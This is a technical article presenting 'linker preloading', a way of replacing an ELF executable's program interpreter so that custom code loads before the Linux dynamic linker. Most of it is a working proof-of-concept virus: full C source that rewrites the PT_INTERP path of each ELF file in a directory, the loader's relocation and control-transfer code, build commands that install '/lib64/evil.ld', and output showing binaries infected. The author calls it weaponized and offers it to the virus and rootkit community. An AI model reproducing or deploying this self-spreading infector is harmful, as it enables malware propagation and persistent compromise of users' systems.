2.6 Preloading the linker for fun and profit
~ elfmaster
Introduction
Let's jump right in, and begin this paper by defining "Linker preloading". This technique refers to the idea that one can maniuplate the kernels ELF loader (see linux/fs/binfmt_elf.c) to pass execution to a custom program interpreter instead of the real dynamic linker.
Note that the term 'program interpreter' usually refers to the dynamic linker, i.e. "/lib64/ld-linux.so". Also known as the RTLD (Runtime loader). This paper is about creating an alternate 'program interpreter' which is loaded prior to the dynamic linker itself.
Do not confuse the "linker preloading" technique with "shared library preloading". The LD_PRELOAD environment variable instructs the dynamic linker to preload a specific set of shared libraries before all others. The technique that we are presenting preloads the dynamic linker (i.e. "/lib64/ld-linux.so") and an alternative program interpreter is invoked instead.
When pondering the concept of writing a custom ELF program interpreter, we realize that the possiblities are vast. Process isntrumentation, module loading, program transformation, etc. Our example runtime linker is just a minimal example of a module loader, which loads relocatable objects into memory and creates a runtime environment for modules to execute prior to the RTLD.
From an attackers perspective one can use this concept to trivially design rootkits, viruses, and other APT (Advanced persistent threats) variants. From a security perspective I see the possibility of using the concepts from this paper to build security modules for hardening the process image and mitigating many types of attacks. However, in the spirit of being exotic and innovative I have decided to weaponize this concept into a modular Virus infector that spreads itself via linker preloading.
Understanding the technique
Let us first elaborate on how this Linker preloading technique works. Recall that dynamically linked executables have a program header type called 'PT_INTERP' which holds the path to the RTLD, usually "/lib64/ld-linux.so". This path can easily be replaced with the path of the program interpreter that we wish to preload. We say "preload" because we are loading our custom interpreter prior to the real interpreter, the Linux RTLD.
NOTE: Terms "Runtime Linker" and "Program interpreter" are used interchangeably in this paper.
Let's take a quick look at the PT_INTERP segment of any dynamic ELF executable.
$ readelf -l /bin/ls | grep -C 2 INTERP
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
We can see that the interpreter path offset is at offset 0x318 within the ELF file. This NULL terminated string can be replaced with "/lib64/evil.ld", which is the path to our custom runtime linker.
Execution flow of linker preloading
[kernel]
\
[/lib64/evil.ld]------------------>[/lib64/ld-linux.so]---------------->[/bin/ls]
\
[virus_module.o]
As we can see in the ascii diagram above. The kernel reads the PT_INTERP segment to get the path to the program interpreter. Execution flow is transferred to /lib64/evil.ld which is our custom program interpreter for loading and linking runtime modules. This creates a runtime environment for parasitic code that is modular and dynamic while not tripping the usual detection heuristics for ELF infections. This infection technique is by itself benign as it's intentions are determined by the code within the module itself. In our PoC the module is a Virus which infects other binaries by replacing their interpreter path to point to "/lib64/evil.ld" which in turn causes the infected binary to load the "virus_module.o", and so on and so forth.
The Linux kernel ELF loader
Let us break down the algorithm for linker preloading. It is first helpful to get some insight into the ELF binary loading functionality in the kernel. The function load_elf_binary() looks to see if a PT_INTERP segment exists, if so then it maps the specified program interpreter into the process address space and passes control to it.
In the following code snippet we can see where load_elf_binary() finds the PT_INTERP segment, reads the path of the program interpreter (Usually "/lib64/ld-linux.so") and then opens the interpreter.
/usr/src/linux/fs/binfmt_elf.c:722
... snippet ...
elf_ppnt = elf_phdata;
for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {
char *elf_interpreter;
loff_t pos;
if (elf_ppnt->p_type != PT_INTERP)
continue;
/*
* This is the program interpreter used for shared libraries -
* for now assume that this is an a.out format binary.
*/
retval = -ENOEXEC;
if (elf_ppnt->p_filesz > PATH_MAX || elf_ppnt->p_filesz < 2)
goto out_free_ph;
retval = -ENOMEM;
elf_interpreter = kmalloc(elf_ppnt->p_filesz, GFP_KERNEL);
if (!elf_interpreter)
goto out_free_ph;
pos = elf_ppnt->p_offset;
retval = kernel_read(bprm->file, elf_interpreter,
elf_ppnt->p_filesz, &pos);
if (retval != elf_ppnt->p_filesz) {
if (retval >= 0)
retval = -EIO;
goto out_free_interp;
}
/* make sure path is NULL terminated */
retval = -ENOEXEC;
if (elf_interpreter[elf_ppnt->p_filesz - 1] != '\0')
goto out_free_interp;
interpreter = open_exec(elf_interpreter);
kfree(elf_interpreter);
retval = PTR_ERR(interpreter);
if (IS_ERR(interpreter))
goto out_free_ph;
... snippet ...
The code then goes on to accomplish the following:
- Maps the interpreter's ELF segments into the process address space.
- Maps the target executable's ELF segments into memory
- Sets up the auxiliary vector on the stack for use by the interpreter
- Passes control to the entry point of the interpreter if it exists, otherwise to the target executable
If we skip to the end of load_elf_binary() we can see where control is passed to the entry point address of the program interpreter.
/usr/src/linux/fs/binfmt_elf.c:1138
... snippet ...
regs = current_pt_regs();
#ifdef ELF_PLAT_INIT
/*
* The ABI may specify that certain registers be set up in special
* ways (on i386 %edx is the address of a DT_FINI function, for
* example. In addition, it may also specify (eg, PowerPC64 ELF)
* that the e_entry field is the address of the function descriptor
* for the startup routine, rather than the address of the startup
* routine itself. This macro performs whatever initialization to
* the regs structure is required as well as any relocations to the
* function descriptor entries when executing dynamically links apps.
*/
ELF_PLAT_INIT(regs, reloc_func_desc);
#endif
finalize_exec(bprm);
start_thread(regs, elf_entry, bprm->p);
... snippet ...
We can see that start_thread() is invoked to execute the code at the entry point address of the interpreter. What a beautiful place to hook! We can instruct the kernel ELF loader to run an arbitrary program (the specified program interpreter). One can only use their imagination as to how this concept could be employed in many brilliant and unique ways.
Designing a custom interpreter for loading modules
Let us discuss our design goal. We want to write a custom interpreter who's purpose is to surreptitiously load an execute modular code prior to passing control to the real dynamic linker "/lib64/ld-linux.so" (aka RTLD).
Our modules are written in C and compiled as relocatable objects. The module entry point is main(). The C code may make calls to libc. When the code is compiled into a relocatable code object it has all of the relocation data necessary to link it into an executable ELF runtime image with a PLT and a GOT for resolving calls into libc. Since our interpreter is running before the dynamic linker, how then do we expect our module to make libc calls? The musl-libc library is statically linked into the interpreter and we can handle PLT call relocations by resolving them to the libc symbols within the custom interpreter itself. This can of course be improved upon, but for now having access to only libc is still enough to write fairly sophisticated modules without alot of work.
Let us take a look at the module source code which serves as the Virus payload. It has no malicious payload rather it simply just copies itself by infecting other binaries by manipulating the PT_INTERP segment.
https://github.com/elfmaster/linker_preloading_virus/virus_payload.c
#define EVIL_LINKER_PATH "/opt/evil_linker/evil.ld"
int infect_file(char *filename)
{
int fd, i;
uint8_t *mem;
struct stat st;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
char *interp_path = NULL;
fd = open(filename, O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
if (fstat(fd, &st) < 0) {
perror("fstat");
return -1;
}
mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mem == NULL) {
perror("mmap");
return -1;
}
ehdr = (Elf64_Ehdr *)mem;
phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_INTERP) {
if (strcmp((char *)&mem[phdr[i].p_offset], EVIL_LINKER_PATH) == 0) {
printf("File '%s' is already infected\n", filename);
munmap(mem, st.st_size);
return 0;
}
interp_path = (char *)&mem[phdr[i].p_offset];
break;
}
}
if (interp_path != NULL) {
strcpy(interp_path, EVIL_LINKER_PATH);
printf("Updating the PT_INTERP with '%s'\n", EVIL_LINKER_PATH);
printf("Successfully infected file '%s'\n", filename);
}
munmap(mem, st.st_size);
return 0;
}
/*
* Check if filename points to an ELF file we
* can infect.
*/
int check_criteria(char *filename)
{
int fd, dynamic, i, ret = 0;
struct stat st;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
uint8_t mem[4096];
uint32_t magic;
fd = open(filename, O_RDONLY, 0);
if (fd < 0)
return false;
if (read(fd, mem, 4096) < 0)
return false;
close(fd);
ehdr = (Elf64_Ehdr *)mem;
phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
if(memcmp("\x7f\x45\x4c\x46", mem, 4) != 0)
return -1;
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_INTERP) {
char *path = (char *)&mem[phdr[i].p_offset];
if (strcmp(path, EVIL_LINKER_PATH) == 0) {
/*
* Already infected? Skip this file.
*/
return false;
}
break;
}
}
if (ehdr->e_type != ET_EXEC && ehdr->e_type != ET_DYN)
return false;
if (ehdr->e_machine != EM_X86_64)
return false;
return true;
}
int main(int argc, char **argv)
{
char *dir = NULL, **files, *fpath, dbuf[32768];
struct dirent *d;
DIR *dp;
dp = opendir(".");
if (dp == NULL) {
perror("opendir");
return -1;
}
while ((d = readdir(dp)) != NULL) {
if (check_criteria(d->d_name) == true) {
infect_file(d->d_name);
}
}
return 0;
}
The virus_payload.c module looks for all of uninfected ELF files in the local directory and infects them by replacing the interpreter path with "/lib64/evil.ld"
Let's compile virus_payload.c into a relocatable object and take a look at which relocation types are created for linking purposes.
$ gcc -c virus_payload.c
$ readelf -r virus_payload.o
... truncated output ...
Relocation section '.rela.text' at offset 0x970 contains 34 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000033 000c00000004 R_X86_64_PLT32 0000000000000000 open - 4
000000000043 000500000002 R_X86_64_PC32 0000000000000000 .rodata - 4
000000000048 000d00000004 R_X86_64_PLT32 0000000000000000 perror - 4
000000000066 000e00000004 R_X86_64_PLT32 0000000000000000 fstat - 4
000000000071 000500000002 R_X86_64_PC32 0000000000000000 .rodata + 1
000000000076 000d00000004 R_X86_64_PLT32 0000000000000000 perror - 4
0000000000aa 000f00000004 R_X86_64_PLT32 0000000000000000 mmap - 4
... truncated output ...
I won't bother showing the entire relocation output as it is somewhat long...
The compiler is only emitting relocations for type R_X86_64_PLT32 and R_X86_64_PC32. Our interpreter must be able to resolve these relocation types for our module code to work. Future design goals may entail being able to handle other relocation types as the code and/or compiler output varies.
An Algorithm for our interpreter
Our program interpreter should execute the following tasks in order.
1. Locate the auxiliary vector address.
We can find the address of auxv by first locating `char **envp` on the stack, and then iterating to it's last entry + 1. The auxiliary vector exists at the top of the stack right after the environment variable pointers.
-- Diagram of auxiliary vector on x86 stack.
LOW MEMORY HIGH MEMORY
<------------------------------------------------------->
[argc][argv0 ... argvN][envp0 ... envpN][auxilary vector]
2. Parse the auxiliary vector and store it's values for later use
The auxiliary vector contains key/value pairs that are pertinent to the dynamic linker's ability to locate itself and the target executable in memory. It contains key/value pairs that are also important to our custom interpreter.
3. Map the dynamic linker segments "/lib64/ld-linux.so" into memory.
We need to map each PT_LOAD segment of the dynamic linker "/lib64/ld-linux.so" into memory at the correct page aligned virtual address. The entry point address taken from the ELF file header is an offset value that must be computed with the base address of the text segment and stored for later use in step 10.
4. Set the auxiliary vector entry AT_BASE to the address of the text segment of the now mapped in "/lib64/ld-linux.so".
Auxiliary vector values are just stack values and can thus be re-written. When the kernel maps the program interpreter into memory it sets the auxiliary entry AT_BASE to the base address of the mapped ELF interpreter.
When we transfer execution flow from one interpreter (i.e. "/lib64/evil.ld") to another (i.e. "/lib64/ld-linux.so"), the source interpreter must reset AT_BASE from it's own base address to the base address of the destination interpreter. Interpreter's must know their own base address if they are PIE so that they can perform relative relocations on their own code and data at runtime. The dynamic linker is a shared library and requires many relocations that compute it's own base address.
5. Parse the relocatable object module file 'virus_payload.o'
The relocation table should be parsed. Any relocations of type R_X86_64_PLT32 should be noted so that enough room can be created in the text segment for PLT stubs. In our implementation of "/lib64/evil.ld" We use strict linking, and therefore have very simple PLT stubs:
lp_loader.c:18
```
// jmp *0x0(%rip)
uint8_t plt_stub[6] = "\xff\x25\x00\x00\x00\x00";
```
The PLT stub simply does an indirect jump to the respective GOT[entry]. Our linker implementation is somewhat naive as we create a PLT entry for every PLT relocation. Sometimes there are multiple PLT relocations for the same symbol, and our naive linker creates duplicate PLT/GOT's. This can be easily ironed out in a future version so that a given symbol always corresponds to a single PLT entry.
6. Create an executable runtime environment suitable for the module to execute within. A text segment, data segment, and .bss must be created with anonymous memory mappings using mmap(2).
Our goal is to create an executable runtime image out of a relocatable object file. There are no PT_LOAD segments in a relocatable object so we must determine the size of the text and data segment by looking at the corresponding section headers.
All sections of type SHF_ALLOC and SHF_ALLOC|SHF_EXEC should be mapped into the text segment.
All sections of type SHF_ALLOC|SHF_WRITE shall be mapped into the data segment.
The .bss size is stored in it's section header's sh_size member. Make sure to extend the data segment mapping by shdr[.bss].sh_size bytes.
We do not need to create a heap segment, as any calls to malloc() will be run through musl-libc which is statically linked to our interpreter. Therefore the module will share a heap segment with the interpreter.
7. Resolve all relocations for the module object.
The module may make calls to libc which will be made possible by creating PLT and GOT entries for the R_X86_64_PLT32 relocations found in the relocatable object. External calls to libc will be resolved to the musl-libc symbols that will be statically linked into our interpreter.
Our example module 'virus_payload.o' only contains R_X86_64_PLT32 and R_X86_64_PC32 relocation types, which is all our linker currently handles. See `bool relocate_module(struct evil_linker *linker)` in lp_loader.c.
Let us take a quick look at how to resolve the relocation's that are in our module object.
Relocation section '.rela.text' at offset 0x970 contains 34 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000033 000c00000004 R_X86_64_PLT32 0000000000000000 open - 4
000000000043 000500000002 R_X86_64_PC32 0000000000000000 .rodata - 4
... truncated ...
Resolving the R_X86_64_PLT32 relocation type requires that we first have created a PLT within the modules executable image. Our linker implementation places the PLT at the very end of the text segment. Call instructions that resolve to external symbols have a PLT32 relocation that must be resolved. In-fact the compiler may also emit PLT32 relocations for calls to all GLOBAL symbol types, even if they are defined locally within the module.
The R_X86_64_PLT32 relocation is for computing and patching in the call offset to a given PLT entry. According to the ELF specification the following computation resolves the relocation:
L + A - P
This can be broken down to:
[open@plt] + rel->r_addend - (text_segment_addr + rel->r_offset)
The R_X86_64_PC32 relocation is used for patching offsets to various instructions that reference memory, and requires the following computation:
S + A - P
This can be broken down to:
[symval of .rodata] + rel->r_addend - (text_segment_addr + rel->r_offset)
Our implementation of this can be found in lp_loader.c:apply_relocation()
Once the module has been transformed into an executable runtime image who's relocations have been fully satisified we can transfer control from our interpreter to the loaded module.
8. Transfer control to the modules main() function with a call instruction.
We transfer control to our Virus module with a call instruction, so that execution flow returns. The module's entry point is the address of the symbol "main". Once the Virus module has finished executing, control is passed back to our interpreter.
```
static inline void
transfer_to_module(uint64_t entry)
{
__asm__ __volatile__ ("mov %0, %%rax\n"
"call %%rax" :: "r" (entry));
return;
}
```
9. Transfer control to the Dynamic Linker "/lib64/ld-linux.so"
The dynamic linker is mapped into memory by now, and we should have it's entry point value stored from step 4. Here are the steps to transferring control to the dynamic linker:
1. Clear all of the register values
2. Set the value of RSP to the value of &argc, as the rtld expects.
-- Diagram of auxiliary vector on x86 stack.
LOW MEMORY HIGH MEMORY
<------------------------------------------------------->
[argc][argv0 ... argvN][envp0 ... envpN][auxilary vector]
3. Set the value of RAX to the entry point address of the target executable.
4. Transfer control to the dynamic linker. Our implementation uses a push/ret to
jump to the rtld.
```
#define LDSO_TRANSFER(stack, addr, entry) __asm__ __volatile__("mov %0, %%rsp\n" \
"push %1\n" \
"mov %2, %%rax\n" \
"mov $0, %%rbx\n" \
"mov $0, %%rcx\n" \
"mov $0, %%rdx\n" \
"mov $0, %%rsi\n" \
"mov $0, %%rdi\n" \
"mov $0, %%rbp\n" \
"mov $0, %%r8\n" \
"mov $0, %%r9\n" \
"mov $0, %%r10\n" \
"mov $0, %%r11\n" \
"mov $0, %%r12\n" \
"mov $0, %%r13\n" \
"mov $0, %%r14\n" \
"mov $0, %%r15\n" \
"ret" :: "r" (stack), "g" (addr), "g"(entry))
```
Once control is passed to the RTLD our work is done. The RTLD will handle any relocations for loading shared objects and patching the target executable. RTLD will then transfer control to the executable's entry point.
Compiling and linking our interpreter
We build the interpreter itself as a statically linked executable with a base text address of 0xa0000000 as specified by a custom linker script. The interpreter is a standard ET_EXEC ELF executable, and is statically linked with musl-libc and a slightly modified version of libelfmaster. For our immediate test and research purposes this was ideal, however the interpreter can also be built as a PIE executable or a shared library like the RTLD.
- A note on symbol resolution:
When our virus_payload.c code attempts to call musl-libc functions that aren't in the symbol table of our ELF interpreter they will fail to be resolved. All of the musl-libc functions that are not being used by the Interpreter will not be included in it's symbol table, which we rely on for module symbol resolution. A workaround solution is to just include every libc symbol being invoked by your module code into the Makefile for the interpreter using the ld flag '-undefined=<symbol>'. Another option is to use the linker flag '--whole-archive' so that all possible symbols from libc are included into the interpreter binary.
- Building a test program
We must have a test program who's Interpreter is "/lib64/ld.evil". See the gcc flag '--dynamic-linker=':
gcc -ggdb -Wl,--dynamic-linker=$(INTERP_PATH) test.c -o test
See the Makefile: https://github.com/elfmaster/linker_preloading_virus/blob/main/Makefile
Our test program simply prints a string to printf, however it's PT_INTERP segment will instruct the kernel to use our custom "/lib/evil.ld" interpreter instead of the standard RTLD.
$ cat test.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
printf("I am 'test'. The Host binary of the linker virus\n");
exit(0);
}
$ readelf -l test | grep interpreter
[Requesting program interpreter: /lib64/evil.ld]
Testing our Virus code
We now have all of the working parts for a modular Virus loading system. We have an evil linker that loads and executes a Virus payload. The Virus payload infects other ELF binaries by modifying the PT_INTERP path to "/lib64/evil.ld".
$ ls -l ./virus_test/
total 96
-rwxrwxr-x 1 elfmaster elfmaster 72 Dec 9 15:26 build.sh
-rwxrwxr-x 1 elfmaster elfmaster 16728 Dec 9 15:47 host1
-rwxrwxr-x 1 elfmaster elfmaster 16728 Dec 9 15:47 host2
-rwxrwxr-x 1 elfmaster elfmaster 16728 Dec 9 15:47 host3
-rw-rw-r-- 1 elfmaster elfmaster 95 Dec 9 15:26 host.c
-rwxrwxr-x 1 elfmaster elfmaster 19336 Dec 9 15:26 test
-rw-rw-r-- 1 elfmaster elfmaster 4544 Dec 9 15:26 virus_payload.o
$
The ELF executable 'test' will launch /lib64/evil.ld, and in turn it will link, load and execute virus_payload.o
The virus_payload.o reads the current working directory and looks for other ELF binaries to infect: host1, host2, host3
Let's take a quick look at the interpreter path in 'host1' before we run 'test'.
$ readelf -l host1 | grep interpreter
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
Let us build the interpreter, the virus module, and the test program.
$ git clone https://github.com/elfmaster/linker_preloading_virus
$ cd linker_preloading_virus
$ make 2> out
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_interp.c -o lp_interp.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_iter.c -o lp_iter.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_util.c -o lp_util.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_proc.c -o lp_proc.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_parse_elf.c -o lp_parse_elf.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c libelfmaster.c -o libelfmaster.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c internal.c -o internal.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_load_ldso.c -o lp_load_ldso.o
musl-gcc -DDEBUG -D_GNU_SOURCE -fPIC -nostdlib -c lp_loader.c -o lp_loader.o
musl-gcc -D_GNU_SOURCE -Wl,-undefined=printf -Wl,-undefined=readdir -Wl,-undefined=opendir -T ./ld.script -static -g lp_interp.o lp_util.o \
lp_proc.o lp_iter.o lp_parse_elf.o lp_load_ldso.o lp_loader.o \
libelfmaster.o internal.o -o lp_interp
mkdir -p /opt/evil_linker/
cp lp_interp /lib64/evil.ld
$ make tests
gcc -ggdb -Wl,--dynamic-linker="/lib64/evil.ld" test.c -o test
elfmaster@arcana:~/git/linker_preloading_virus$ make virus
gcc -c virus_payload.c -fno-stack-protector
cp virus_payload.o virus_test/
cp test virus_test/
Now let us run the ./test program and see what it's effects are.
$ cd virus_test
$ ./test
[!] Module: 'virus_payload.o' linker preloading virus
Attempting to infect 'host3'
Updating the PT_INTERP with '/lib64/evil.ld'
Successfully infected file 'host3'
Attempting to infect 'host2'
Updating the PT_INTERP with '/lib64/evil.ld'
Successfully infected file 'host2'
Attempting to infect 'host1'
Updating the PT_INTERP with '/lib64/evil.ld'
Successfully infected file 'host1'
I am 'test'. The Host binary of the linker virus
$
As we can see from the output above our evil linker was preloaded by the kernel, and it successfully loaded an executed the module 'virus_payload.o'.
The other ELF binaries within the CWD are infected by PT_INTERP modification.
$ readelf -l host1 | grep interpreter
[Requesting program interpreter: /lib64/evil.ld]
We have now demonstrated a fully functional modular runtime loader for ELF viruses and process memory rootkits... Huzzah
In closing
We have demonstrated a technique for intercepting the Linux ELF runtime with a custom program interpreter designed to create a modular ELF Virus loading mechanism.
I do not intend to utilize the technology presented in this paper for any future Virus research, although I do hope that the Virus and Rootkit community appreciate it's elegant qualities.
I mostly find the technology interesting for developing new techniques in runtime transformation and patching as it pertains to advancing the Linux runtime into a modular and programmable system for loading modules, plugins and code patches.
https://github.com/elfmaster/linker_preloading_virus
- ElfMaster
- ryan@bitlackeys.org